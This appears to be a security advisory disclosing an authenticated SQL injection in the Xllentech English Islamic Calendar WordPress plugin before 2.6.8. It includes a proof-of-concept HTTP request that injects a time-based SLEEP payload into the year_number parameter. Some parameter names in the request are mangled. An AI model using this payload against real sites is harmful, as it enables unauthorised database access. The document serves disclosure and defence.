Xllentech English Islamic Calendar < 2.6.8 - Authenticated SQL Injection

When deleting a date in the plugin, the year_number and month_number POST parameters are not sanitised, escaped or validated before being used in a SQL statement, leading to SQL injection.

PoC

POST /wp-admin/options-general.php?page=xllentech_options_tab4 HTTP/1.1 Content-Length: 220 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-GPC: 1 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: [admin+] Connection: close month_number=12&year;_number=2020%20AND%20(SELECT%201381%20FROM%20(SELECT(SLEEP(5)))nhTn)&delete;_firstdate=Y&xc-troubleshooting-delete-date-nonce;=fc60c35caf&_wp_http_referer=/wp-admin/options-general.php?page=xllentech_options_tab4